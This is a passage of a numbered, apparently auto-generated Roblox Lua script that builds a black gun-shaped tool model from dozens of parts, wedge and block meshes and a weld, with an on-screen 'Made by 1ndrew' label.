  1270. TextLabel57.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1271. TextLabel57.TextStrokeTransparency = 0.5
  1272. TextLabel57.TextXAlignment = Enum.TextXAlignment.Right
  1273. TextLabel58.Parent = ScreenGui51
  1274. TextLabel58.Transparency = 50
  1275. TextLabel58.Size = UDim2.new(0, 200, 0, 50)
  1276. TextLabel58.Text = "Made by 1ndrew"
  1277. TextLabel58.BackgroundColor3 = Color3.new(1, 1, 1)
  1278. TextLabel58.BackgroundTransparency = 50
  1279. TextLabel58.BorderColor3 = Color3.new(1, 1, 1)
  1280. TextLabel58.Font = Enum.Font.SourceSans
  1281. TextLabel58.FontSize = Enum.FontSize.Size14
  1282. TextLabel58.TextColor3 = Color3.new(0, 0, 1)
  1283. Part59.Parent = Tool0
  1284. Part59.Material = Enum.Material.SmoothPlastic
  1285. Part59.BrickColor = BrickColor.new("Black")
  1286. Part59.Anchored = true
  1287. Part59.FormFactor = Enum.FormFactor.Custom
  1288. Part59.Size = Vector3.new(0.200000003, 0.200000003, 0.392593354)
  1289. Part59.CFrame = CFrame.new(34.5, 1.39414203, -12.7666616, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1290. Part59.BottomSurface = Enum.SurfaceType.Smooth
  1291. Part59.TopSurface = Enum.SurfaceType.Smooth
  1292. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1293. Part59.Position = Vector3.new(34.5, 1.39414203, -12.7666616)
  1294. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1295. BlockMesh60.Parent = Part59
  1296. BlockMesh60.Scale = Vector3.new(0.814815104, 0.77777797, 1)
  1297. BlockMesh60.Scale = Vector3.new(0.814815104, 0.77777797, 1)
  1298. Part61.Parent = Tool0
  1299. Part61.Material = Enum.Material.SmoothPlastic
  1300. Part61.BrickColor = BrickColor.new("Black")
  1301. Part61.Reflectance = 0.20000000298023
  1302. Part61.Rotation = Vector3.new(0, 0, 180)
  1303. Part61.Anchored = true
  1304. Part61.FormFactor = Enum.FormFactor.Custom
  1305. Part61.Size = Vector3.new(0.207407504, 0.200000003, 0.200000003)
  1306. Part61.CFrame = CFrame.new(34.5, 1.48300803, -13.3888435, -1, -0, 0, -0, -1, 4.37113883e-08, -0, -0, 1)
  1307. Part61.BottomSurface = Enum.SurfaceType.Smooth
  1308. Part61.TopSurface = Enum.SurfaceType.Smooth
  1309. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1310. Part61.Position = Vector3.new(34.5, 1.48300803, -13.3888435)
  1311. Part61.Orientation = Vector3.new(0, 0, -180)
  1312. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1313. SpecialMesh62.Parent = Part61
  1314. SpecialMesh62.Scale = Vector3.new(1, 0.777777731, 0.77777797)
  1315. SpecialMesh62.MeshType = Enum.MeshType.Wedge
  1316. SpecialMesh62.Scale = Vector3.new(1, 0.777777731, 0.77777797)
  1317. Part63.Parent = Tool0
  1318. Part63.Material = Enum.Material.SmoothPlastic
  1319. Part63.BrickColor = BrickColor.new("Black")
  1320. Part63.Rotation = Vector3.new(90, 0, -180)
  1321. Part63.Anchored = true
  1322. Part63.FormFactor = Enum.FormFactor.Custom
  1323. Part63.Size = Vector3.new(0.200000003, 0.511111021, 0.200000003)
  1324. Part63.CFrame = CFrame.new(34.3408203, 1.957129, -11.2777596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1325. Part63.BottomSurface = Enum.SurfaceType.Smooth
  1326. Part63.TopSurface = Enum.SurfaceType.Smooth
  1327. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1328. Part63.Position = Vector3.new(34.3408203, 1.957129, -11.2777596)
  1329. Part63.Orientation = Vector3.new(90, 180, 0)
  1330. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1331. CylinderMesh64.Parent = Part63
  1332. CylinderMesh64.Scale = Vector3.new(0.70370388, 1, 0.592592716)
  1333. CylinderMesh64.Scale = Vector3.new(0.70370388, 1, 0.592592716)
  1334. Part65.Parent = Tool0
  1335. Part65.Material = Enum.Material.SmoothPlastic
  1336. Part65.BrickColor = BrickColor.new("Black")
  1337. Part65.Rotation = Vector3.new(180, 0, 45)
  1338. Part65.Anchored = true
  1339. Part65.FormFactor = Enum.FormFactor.Custom
  1340. Part65.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1341. Part65.CFrame = CFrame.new(34.4628906, 1.86215794, -11.2036743, 0.70710665, -0.70710659, -0, -0.70710659, -0.70710665, -0, 0, -0, -1)
  1342. Part65.BottomSurface = Enum.SurfaceType.Smooth
  1343. Part65.TopSurface = Enum.SurfaceType.Smooth
  1344. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1345. Part65.Position = Vector3.new(34.4628906, 1.86215794, -11.2036743)
  1346. Part65.Orientation = Vector3.new(0, -180, -135)
  1347. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1348. BlockMesh66.Parent = Part65
  1349. BlockMesh66.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
  1350. BlockMesh66.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
  1351. Part67.Parent = Tool0
  1352. Part67.Material = Enum.Material.SmoothPlastic
  1353. Part67.BrickColor = BrickColor.new("Black")
  1354. Part67.Rotation = Vector3.new(180, 0, 45)
  1355. Part67.Anchored = true
  1356. Part67.FormFactor = Enum.FormFactor.Custom
  1357. Part67.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1358. Part67.CFrame = CFrame.new(34.4655762, 1.87509596, -11.2036743, 0.70710665, -0.70710659, -0, -0.70710659, -0.70710665, -0, 0, -0, -1)
  1359. Part67.BottomSurface = Enum.SurfaceType.Smooth
  1360. Part67.TopSurface = Enum.SurfaceType.Smooth
  1361. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1362. Part67.Position = Vector3.new(34.4655762, 1.87509596, -11.2036743)
  1363. Part67.Orientation = Vector3.new(0, -180, -135)
  1364. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1365. BlockMesh68.Parent = Part67
  1366. BlockMesh68.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
  1367. BlockMesh68.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
  1368. Part69.Parent = Tool0
  1369. Part69.Material = Enum.Material.SmoothPlastic
  1370. Part69.BrickColor = BrickColor.new("Black")
  1371. Part69.Reflectance = 0.20000000298023
  1372. Part69.Rotation = Vector3.new(0, 0, -90)
  1373. Part69.Anchored = true
  1374. Part69.FormFactor = Enum.FormFactor.Custom
  1375. Part69.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1376. Part69.CFrame = CFrame.new(34.5593262, 1.67563403, -9.38519192, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
  1377. Part69.BottomSurface = Enum.SurfaceType.Smooth
  1378. Part69.TopSurface = Enum.SurfaceType.Smooth
  1379. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1380. Part69.Position = Vector3.new(34.5593262, 1.67563403, -9.38519192)
  1381. Part69.Orientation = Vector3.new(0, 0, -90)
  1382. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1383. SpecialMesh70.Parent = Part69
  1384. SpecialMesh70.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1385. SpecialMesh70.MeshType = Enum.MeshType.Wedge
  1386. SpecialMesh70.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1387. Part71.Parent = Tool0
  1388. Part71.Material = Enum.Material.SmoothPlastic
  1389. Part71.BrickColor = BrickColor.new("Black")
  1390. Part71.Reflectance = 0.20000000298023
  1391. Part71.Rotation = Vector3.new(90, 0, 180)
  1392. Part71.Anchored = true
  1393. Part71.FormFactor = Enum.FormFactor.Custom
  1394. Part71.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1395. Part71.CFrame = CFrame.new(34.4481201, 1.67563403, -9.39257813, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
  1396. Part71.BottomSurface = Enum.SurfaceType.Smooth
  1397. Part71.TopSurface = Enum.SurfaceType.Smooth
  1398. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1399. Part71.Position = Vector3.new(34.4481201, 1.67563403, -9.39257813)
  1400. Part71.Orientation = Vector3.new(89.9599991, 0, -180)
  1401. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1402. BlockMesh72.Parent = Part71
  1403. BlockMesh72.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
  1404. BlockMesh72.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
  1405. Part73.Parent = Tool0
  1406. Part73.Material = Enum.Material.SmoothPlastic
  1407. Part73.BrickColor = BrickColor.new("Black")
  1408. Part73.Rotation = Vector3.new(0, 0, -90)
  1409. Part73.Anchored = true
  1410. Part73.FormFactor = Enum.FormFactor.Custom
  1411. Part73.Size = Vector3.new(0.200000003, 0.200000003, 1.34074676)
  1412. Part73.CFrame = CFrame.new(34.6185303, 1.42001903, -9.67034817, 0, 1, -0, -1, 0, 0, 0, 0, 1)
  1413. Part73.BottomSurface = Enum.SurfaceType.Smooth
  1414. Part73.TopSurface = Enum.SurfaceType.Smooth
  1415. Part73.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1416. Part73.Position = Vector3.new(34.6185303, 1.42001903, -9.67034817)
  1417. Part73.Orientation = Vector3.new(0, 0, -90)
  1418. Part73.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1419. BlockMesh74.Parent = Part73
  1420. BlockMesh74.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  1421. BlockMesh74.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  1422. Part75.Parent = Tool0
  1423. Part75.Material = Enum.Material.SmoothPlastic
  1424. Part75.BrickColor = BrickColor.new("Black")
  1425. Part75.Reflectance = 0.20000000298023
  1426. Part75.Anchored = true
  1427. Part75.FormFactor = Enum.FormFactor.Custom
  1428. Part75.Size = Vector3.new(0.200000003, 0.200000003, 0.903704822)
  1429. Part75.CFrame = CFrame.new(34.5, 1.34970605, -13.1777344, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1430. Part75.BottomSurface = Enum.SurfaceType.Smooth
  1431. Part75.TopSurface = Enum.SurfaceType.Smooth
  1432. Part75.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1433. Part75.Position = Vector3.new(34.5, 1.34970605, -13.1777344)
  1434. Part75.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1435. BlockMesh76.Parent = Part75
  1436. BlockMesh76.Scale = Vector3.new(0.888889134, 0.555555582, 1)
  1437. BlockMesh76.Scale = Vector3.new(0.888889134, 0.555555582, 1)
  1438. Part77.Parent = Tool0
  1439. Part77.Material = Enum.Material.SmoothPlastic
  1440. Part77.BrickColor = BrickColor.new("Black")
  1441. Part77.Reflectance = 0.20000000298023
  1442. Part77.Rotation = Vector3.new(-90, 0, 0)
  1443. Part77.Anchored = true
  1444. Part77.FormFactor = Enum.FormFactor.Custom
  1445. Part77.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1446. Part77.CFrame = CFrame.new(34.4963379, 1.67563403, -12.0296021, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  1447. Part77.BottomSurface = Enum.SurfaceType.Smooth
  1448. Part77.TopSurface = Enum.SurfaceType.Smooth
  1449. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1450. Part77.Position = Vector3.new(34.4963379, 1.67563403, -12.0296021)
  1451. Part77.Orientation = Vector3.new(-90, 0, 0)
  1452. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1453. BlockMesh78.Parent = Part77
  1454. BlockMesh78.Scale = Vector3.new(0.481481433, 0.629629731, 0.370370358)
  1455. BlockMesh78.Scale = Vector3.new(0.481481433, 0.629629731, 0.370370358)
  1456. ManualWeld79.Name = "Part-to-AimPart Strong Joint"
  1457. ManualWeld79.Parent = Part77
  1458. ManualWeld79.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1459. ManualWeld79.C1 = CFrame.new(0.0999984741, -0.0962898731, -0.251852036, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  1460. ManualWeld79.Part0 = Part77
  1461. ManualWeld79.Part1 = Part237
  1462. Part80.Parent = Tool0
  1463. Part80.Material = Enum.Material.SmoothPlastic
  1464. Part80.BrickColor = BrickColor.new("Black")
  1465. Part80.Rotation = Vector3.new(0, 0, -135)
  1466. Part80.Anchored = true
  1467. Part80.FormFactor = Enum.FormFactor.Custom
  1468. Part80.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1469. Part80.CFrame = CFrame.new(34.5277061, 1.87509596, -11.2036743, -0.70710665, 0.70710659, 0, -0.70710659, -0.70710665, 0, -0, 0, 1)
  1470. Part80.BottomSurface = Enum.SurfaceType.Smooth
  1471. Part80.TopSurface = Enum.SurfaceType.Smooth
  1472. Part80.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1473. Part80.Position = Vector3.new(34.5277061, 1.87509596, -11.2036743)
  1474. Part80.Orientation = Vector3.new(0, 0, -135)
  1475. Part80.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1476. BlockMesh81.Parent = Part80
  1477. BlockMesh81.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
  1478. BlockMesh81.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
  1479. Part82.Parent = Tool0
  1480. Part82.Material = Enum.Material.SmoothPlastic
  1481. Part82.BrickColor = BrickColor.new("Dark stone grey")
  1482. Part82.Rotation = Vector3.new(-6.46000004, 0, 0)
  1483. Part82.Anchored = true
  1484. Part82.FormFactor = Enum.FormFactor.Custom
  1485. Part82.Size = Vector3.new(0.200000003, 1.08148146, 0.414814621)
  1486. Part82.CFrame = CFrame.new(34.5074463, 0.560645998, -11.1689396, 1, 0, 0, 0, 0.993658066, 0.11244528, 0, -0.11244528, 0.993658066)
  1487. Part82.BottomSurface = Enum.SurfaceType.Smooth
  1488. Part82.TopSurface = Enum.SurfaceType.Smooth
  1489. Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1490. Part82.Position = Vector3.new(34.5074463, 0.560645998, -11.1689396)
  1491. Part82.Orientation = Vector3.new(-6.46000004, 0, 0)
  1492. Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1493. BlockMesh83.Parent = Part82
  1494. BlockMesh83.Scale = Vector3.new(0.740740716, 1, 1)
  1495. BlockMesh83.Scale = Vector3.new(0.740740716, 1, 1)
  1496. Part84.Parent = Tool0
  1497. Part84.BrickColor = BrickColor.new("Black")
  1498. Part84.Reflectance = 0.20000000298023
  1499. Part84.Anchored = true
  1500. Part84.FormFactor = Enum.FormFactor.Custom
  1501. Part84.Size = Vector3.new(0.207407534, 0.200000003, 1.56296682)
  1502. Part84.CFrame = CFrame.new(34.5, 1.19785094, -11.7888784, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1503. Part84.BottomSurface = Enum.SurfaceType.Smooth
  1504. Part84.TopSurface = Enum.SurfaceType.Smooth
  1505. Part84.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1506. Part84.Position = Vector3.new(34.5, 1.19785094, -11.7888784)
  1507. Part84.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1508. BlockMesh85.Parent = Part84
  1509. BlockMesh85.Scale = Vector3.new(1, 0.703703225, 1)
  1510. BlockMesh85.Scale = Vector3.new(1, 0.703703225, 1)
  1511. Part86.Parent = Tool0
  1512. Part86.Material = Enum.Material.SmoothPlastic
  1513. Part86.BrickColor = BrickColor.new("Black")
  1514. Part86.Reflectance = 0.20000000298023
  1515. Part86.Anchored = true
  1516. Part86.FormFactor = Enum.FormFactor.Custom
  1517. Part86.Size = Vector3.new(0.200000003, 0.200000003, 0.447407693)
  1518. Part86.CFrame = CFrame.new(34.5037842, 0.720070004, -11.7244263, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1519. Part86.BottomSurface = Enum.SurfaceType.Smooth
  1520. Part86.TopSurface = Enum.SurfaceType.Smooth
  1521. Part86.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1522. Part86.Position = Vector3.new(34.5037842, 0.720070004, -11.7244263)
  1523. Part86.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1524. BlockMesh87.Parent = Part86
  1525. BlockMesh87.Scale = Vector3.new(0.555555701, 0.222222224, 1)
  1526. BlockMesh87.Scale = Vector3.new(0.555555701, 0.222222224, 1)
  1527. Part88.Parent = Tool0
  1528. Part88.Material = Enum.Material.SmoothPlastic
  1529. Part88.BrickColor = BrickColor.new("Black")
  1530. Part88.Reflectance = 0.20000000298023
  1531. Part88.Rotation = Vector3.new(-180, 0, 0)
  1532. Part88.Anchored = true
  1533. Part88.FormFactor = Enum.FormFactor.Custom
  1534. Part88.Size = Vector3.new(0.207407445, 0.200000003, 0.459259093)
  1535. Part88.CFrame = CFrame.new(34.5, 1.06821096, -11.2370005, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  1536. Part88.BottomSurface = Enum.SurfaceType.Smooth
  1537. Part88.TopSurface = Enum.SurfaceType.Smooth
  1538. Part88.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1539. Part88.Position = Vector3.new(34.5, 1.06821096, -11.2370005)
  1540. Part88.Orientation = Vector3.new(0, 180, 180)
  1541. Part88.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1542. SpecialMesh89.Parent = Part88
  1543. SpecialMesh89.Scale = Vector3.new(1, 0.5925892, 1)
  1544. SpecialMesh89.MeshType = Enum.MeshType.Wedge
  1545. SpecialMesh89.Scale = Vector3.new(1, 0.5925892, 1)
  1546. Part90.Parent = Tool0
  1547. Part90.Material = Enum.Material.SmoothPlastic
  1548. Part90.BrickColor = BrickColor.new("Black")
  1549. Part90.Reflectance = 0.20000000298023
  1550. Part90.Rotation = Vector3.new(0, 0, 90)
  1551. Part90.Anchored = true
  1552. Part90.FormFactor = Enum.FormFactor.Custom
  1553. Part90.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1554. Part90.CFrame = CFrame.new(34.5444336, 1.67563403, -9.34069824, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
  1555. Part90.BottomSurface = Enum.SurfaceType.Smooth
  1556. Part90.TopSurface = Enum.SurfaceType.Smooth
  1557. Part90.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1558. Part90.Position = Vector3.new(34.5444336, 1.67563403, -9.34069824)
  1559. Part90.Orientation = Vector3.new(0, 0, 90)
  1560. Part90.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1561. SpecialMesh91.Parent = Part90
  1562. SpecialMesh91.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  1563. SpecialMesh91.MeshType = Enum.MeshType.Wedge
  1564. SpecialMesh91.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  1565. Part92.Parent = Tool0
  1566. Part92.BrickColor = BrickColor.new("Black")
  1567. Part92.Reflectance = 0.20000000298023
  1568. Part92.Rotation = Vector3.new(-180, 0, -180)
  1569. Part92.Anchored = true
  1570. Part92.FormFactor = Enum.FormFactor.Custom
  1571. Part92.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1572. Part92.CFrame = CFrame.new(34.4963379, 1.67563403, -9.10735989, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1573. Part92.BottomSurface = Enum.SurfaceType.Smooth
  1574. Part92.TopSurface = Enum.SurfaceType.Smooth
  1575. Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1576. Part92.Position = Vector3.new(34.4963379, 1.67563403, -9.10735989)
  1577. Part92.Orientation = Vector3.new(0, 180, 0)
  1578. Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1579. SpecialMesh93.Parent = Part92
  1580. SpecialMesh93.Scale = Vector3.new(0.481481612, 0.370366931, 0.555555344)
  1581. SpecialMesh93.MeshType = Enum.MeshType.Wedge
  1582. SpecialMesh93.Scale = Vector3.new(0.481481612, 0.370366931, 0.555555344)
  1583. Part94.Parent = Tool0
  1584. Part94.Material = Enum.Material.SmoothPlastic
  1585. Part94.BrickColor = BrickColor.new("Black")
  1586. Part94.Anchored = true
  1587. Part94.FormFactor = Enum.FormFactor.Custom
  1588. Part94.Size = Vector3.new(0.200000003, 0.200000003, 3.24444962)
  1589. Part94.CFrame = CFrame.new(34.4963379, 1.61630905, -10.6221924, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1590. Part94.BottomSurface = Enum.SurfaceType.Smooth
  1591. Part94.TopSurface = Enum.SurfaceType.Smooth
  1592. Part94.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1593. Part94.Position = Vector3.new(34.4963379, 1.61630905, -10.6221924)
  1594. Part94.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1595. BlockMesh95.Parent = Part94
  1596. BlockMesh95.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  1597. BlockMesh95.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  1598. Part96.Parent = Tool0
  1599. Part96.Material = Enum.Material.SmoothPlastic
  1600. Part96.BrickColor = BrickColor.new("Black")
  1601. Part96.Rotation = Vector3.new(-90, 0, 180)
  1602. Part96.Anchored = true
  1603. Part96.Size = Vector3.new(1, 1.20000005, 1)
  1604. Part96.CFrame = CFrame.new(34.4979248, 2.04453301, -11.0795898, -1, -2.98023224e-08, -4.05622691e-09, -5.58793678e-09, 0, 1, 2.98023224e-08, 1.00000012, 9.34504296e-09)
  1605. Part96.BottomSurface = Enum.SurfaceType.Smooth
  1606. Part96.TopSurface = Enum.SurfaceType.Smooth
  1607. Part96.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1608. Part96.Position = Vector3.new(34.4979248, 2.04453301, -11.0795898)
  1609. Part96.Orientation = Vector3.new(-90, 180, 0)
  1610. Part96.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1611. CylinderMesh97.Parent = Part96
  1612. CylinderMesh97.Scale = Vector3.new(0.0148148155, 0.00370370364, 0.0148148155)
  1613. CylinderMesh97.Scale = Vector3.new(0.0148148155, 0.00370370364, 0.0148148155)
  1614. Part98.Parent = Tool0
  1615. Part98.Material = Enum.Material.SmoothPlastic
  1616. Part98.BrickColor = BrickColor.new("Black")
  1617. Part98.Reflectance = 0.20000000298023
  1618. Part98.Anchored = true
  1619. Part98.FormFactor = Enum.FormFactor.Custom
  1620. Part98.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1621. Part98.CFrame = CFrame.new(34.6074219, 1.17929804, -11.4370117, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1622. Part98.BottomSurface = Enum.SurfaceType.Smooth
  1623. Part98.TopSurface = Enum.SurfaceType.Smooth
  1624. Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1625. Part98.Position = Vector3.new(34.6074219, 1.17929804, -11.4370117)
  1626. Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1627. BlockMesh99.Parent = Part98
  1628. BlockMesh99.Scale = Vector3.new(0.0370370373, 0.22222206, 0.518538475)
  1629. BlockMesh99.Scale = Vector3.new(0.0370370373, 0.22222206, 0.518538475)
  1630. Part100.Parent = Tool0
  1631. Part100.Material = Enum.Material.SmoothPlastic
  1632. Part100.BrickColor = BrickColor.new("Black")
  1633. Part100.Reflectance = 0.20000000298023
  1634. Part100.Rotation = Vector3.new(0, 0, -90)
  1635. Part100.Anchored = true
  1636. Part100.FormFactor = Enum.FormFactor.Custom
  1637. Part100.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1638. Part100.CFrame = CFrame.new(34.4630127, 1.67563403, -9.31847382, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
  1639. Part100.BottomSurface = Enum.SurfaceType.Smooth
  1640. Part100.TopSurface = Enum.SurfaceType.Smooth
  1641. Part100.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1642. Part100.Position = Vector3.new(34.4630127, 1.67563403, -9.31847382)
  1643. Part100.Orientation = Vector3.new(0, 0, -90)
  1644. Part100.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1645. SpecialMesh101.Parent = Part100
  1646. SpecialMesh101.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1647. SpecialMesh101.MeshType = Enum.MeshType.Wedge
  1648. SpecialMesh101.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1649. Part102.Parent = Tool0
  1650. Part102.Material = Enum.Material.SmoothPlastic
  1651. Part102.BrickColor = BrickColor.new("Black")
  1652. Part102.Anchored = true
  1653. Part102.FormFactor = Enum.FormFactor.Custom
  1654. Part102.Size = Vector3.new(0.200000003, 0.200000003, 0.481481224)
  1655. Part102.CFrame = CFrame.new(34.4963379, 1.64218795, -11.2851563, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1656. Part102.BottomSurface = Enum.SurfaceType.Smooth
  1657. Part102.TopSurface = Enum.SurfaceType.Smooth
  1658. Part102.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1659. Part102.Position = Vector3.new(34.4963379, 1.64218795, -11.2851563)
  1660. Part102.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1661. BlockMesh103.Parent = Part102
  1662. BlockMesh103.Scale = Vector3.new(0.851851761, 0.185185179, 1)
  1663. BlockMesh103.Scale = Vector3.new(0.851851761, 0.185185179, 1)
  1664. Part104.Parent = Tool0
  1665. Part104.Material = Enum.Material.SmoothPlastic
  1666. Part104.BrickColor = BrickColor.new("Really black")
  1667. Part104.Rotation = Vector3.new(0, 0, -90)
  1668. Part104.Anchored = true
  1669. Part104.FormFactor = Enum.FormFactor.Custom
  1670. Part104.Size = Vector3.new(0.200000003, 0.200000003, 1.34074688)
  1671. Part104.CFrame = CFrame.new(34.6037598, 1.42001903, -9.67034817, -0, 1, 0, -1, 0, 4.37113883e-08, -4.37113883e-08, 0, 1)
  1672. Part104.BottomSurface = Enum.SurfaceType.Smooth
  1673. Part104.TopSurface = Enum.SurfaceType.Smooth
  1674. Part104.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1675. Part104.Position = Vector3.new(34.6037598, 1.42001903, -9.67034817)
  1676. Part104.Orientation = Vector3.new(0, 0, -90)
  1677. Part104.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1678. BlockMesh105.Parent = Part104
  1679. BlockMesh105.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  1680. BlockMesh105.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  1681. Part106.Parent = Tool0
  1682. Part106.Material = Enum.Material.SmoothPlastic
  1683. Part106.BrickColor = BrickColor.new("Black")
  1684. Part106.Reflectance = 0.20000000298023
  1685. Part106.Rotation = Vector3.new(180, 0, -90)
  1686. Part106.Anchored = true
  1687. Part106.FormFactor = Enum.FormFactor.Custom
  1688. Part106.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1689. Part106.CFrame = CFrame.new(34.5593262, 1.67563403, -9.31847382, 1.91068547e-15, 1, -4.37113918e-08, 0.999999762, -2.66453526e-15, -1.49011612e-08, -1.49011612e-08, -4.37113883e-08, -0.999999762)
  1690. Part106.BottomSurface = Enum.SurfaceType.Smooth
  1691. Part106.TopSurface = Enum.SurfaceType.Smooth
  1692. Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1693. Part106.Position = Vector3.new(34.5593262, 1.67563403, -9.31847382)
  1694. Part106.Orientation = Vector3.new(0, -180, 90)
  1695. Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1696. SpecialMesh107.Parent = Part106
  1697. SpecialMesh107.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1698. SpecialMesh107.MeshType = Enum.MeshType.Wedge
  1699. SpecialMesh107.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1700. Part108.Parent = Tool0
  1701. Part108.Material = Enum.Material.SmoothPlastic
  1702. Part108.BrickColor = BrickColor.new("Really black")
  1703. Part108.Reflectance = 0.20000000298023
  1704. Part108.Rotation = Vector3.new(-120, 0, 0)
  1705. Part108.Anchored = true
  1706. Part108.FormFactor = Enum.FormFactor.Custom
  1707. Part108.Size = Vector3.new(0.200000003, 0.200000003, 0.422221959)
  1708. Part108.CFrame = CFrame.new(34.5148926, 1.035743, -10.7024536, 1, 8.92672887e-08, -3.11594022e-07, 3.14481952e-07, -0.5, 0.866025388, -7.84892933e-08, -0.866025388, -0.5)
  1709. Part108.BottomSurface = Enum.SurfaceType.Smooth
  1710. Part108.TopSurface = Enum.SurfaceType.Smooth
  1711. Part108.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1712. Part108.Position = Vector3.new(34.5148926, 1.035743, -10.7024536)
  1713. Part108.Orientation = Vector3.new(-60, -180, 180)
  1714. Part108.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1715. BlockMesh109.Parent = Part108
  1716. BlockMesh109.Scale = Vector3.new(0.888889134, 0.444444567, 1)
  1717. BlockMesh109.Scale = Vector3.new(0.888889134, 0.444444567, 1)
  1718. Part110.Parent = Tool0
  1719. Part110.Material = Enum.Material.SmoothPlastic
  1720. Part110.BrickColor = BrickColor.new("Black")
  1721. Part110.Reflectance = 0.20000000298023
